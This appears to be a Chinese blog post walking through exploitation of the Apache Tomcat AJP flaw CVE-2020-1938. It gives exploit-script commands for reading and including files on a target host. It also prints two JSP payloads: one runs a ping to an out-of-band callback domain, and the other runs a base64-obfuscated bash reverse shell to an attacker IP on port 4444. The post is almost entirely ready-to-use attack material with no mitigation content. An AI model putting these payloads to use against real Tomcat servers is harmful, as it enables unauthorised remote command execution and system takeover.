Tomcat文件包含及文件读取漏洞(CVE-2020-1938)

漏洞影响CVE-2020-1938
Apache Tomcat 9.x<9.0.31
Apache Tomcat 8.x<8.5.51
Apache Tomcat 7.x<7.0.100
Apache Tomcat 6.x
漏洞利用前提
目标机器开启AJP Connector服务端口(默认开启,为8009端口)
目标机器使用tomcat 并且开启了AJP服务端口。
漏洞利用
文件读取
服务器中的web.xml文件。
使用一下命令读取目标机器中的web.xml。命令如下:
python2 Tomcat-ROOT路径下文件读取(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml 192.168.116.133

这个漏洞只能读取webappps/ROOT目录下的所有文件。
文件包含
python2 Tomcat-ROOT路径下文件包含(CVE-2020-1938).py -p 8009 -f /test.txt 192.168.116.133
test.txt文件中的内容如下:
复制代码
<%
    java.io.InputStream in = Runtime.getRuntime().exec("ping 90tz19.ceye.io").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>
复制代码
攻击结果:
反弹shell
写文件的命令。
shell.txt
复制代码
<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExNi4xNDAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>
复制代码
成功反弹shell。
posted @   学安全的小白  阅读(1111)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效
点击右上角即可分享
微信分享提示